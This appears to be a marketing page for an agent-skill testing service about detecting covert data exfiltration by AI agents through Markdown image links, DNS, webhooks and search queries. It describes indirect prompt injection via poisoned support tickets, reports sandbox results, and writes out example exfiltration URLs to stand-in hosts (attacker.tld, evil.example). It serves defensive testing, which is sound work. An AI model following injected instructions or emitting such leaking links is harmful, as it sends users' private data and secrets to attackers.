Skip to content

Test agent skills for covert data exfiltration via Markdown images, DNS, or webhooks

Even without write tools, a compromised skill or untrusted webpage can exfiltrate workspace secrets via rendered Markdown URLs or query strings.

Copy the prompt and paste it into the AI assistant you already use.

Exfiltration benchmarks simulate known attack classes in sandboxes; enforce network-layer egress controls for confidential production data.

How to break the 'lethal trifecta' of agent data exfiltration

  1. 01

    Never pair private data, untrusted input, and open egress

    An agent reading untrusted GitHub issues while holding private DB access and outbound curl/Slack tools can be hijacked to leak rows.

  2. 02

    Audit outbound domains contacted during sandbox runs

    Check network telemetry verifying a skill contacts only declared API hosts and zero third-party telemetry or webhook bins.

  3. 03

    Block dynamic external Markdown image rendering

    Ensure UI clients block or CSP-restrict ![img](https://attacker.tld/?leak=...) links generated after reading internal docs.

  4. 04

    Inspect URL query-builder tools for secret interpolation

    Verify search and fetch skills don't paste verbatim private snippets or credentials into external search engine query strings.

How it works in practice

Red-team sandbox evaluation

Feed 20 poisoned customer tickets (indirect prompt injection) to support-triage-skill connected to crm-read-mcp + web-fetch-mcp.

Egress interception report

Unscoped web-fetch setup: 4/20 runs exfiltrated CRM customer email via GET https://evil.example/log?q=... Domain-allowlisted setup (docs.acme.com only): 0/20 leaks, all 4 attempts blocked at tool boundary.

Prompt wording alone cannot stop indirect injection exfiltration; hard domain allowlists and tool separation stop leaks deterministically.

Questions and answers

What is the 'lethal trifecta' in AI agent security?

Coined in agent security research, it occurs when one session simultaneously has (1) private data access, (2) exposure to untrusted content, and (3) external communication channels.

How does SkillMarket monitor network egress during skill tests?

Every sandboxed benchmark runs behind a TLS/DNS-inspecting proxy logging every domain contacted and flagging undeclared outbound traffic.

Can read-only web search tools still exfiltrate data?

Yes—if an injected instruction convinces the agent to search for a string containing a secret API key, that query hits external search logs.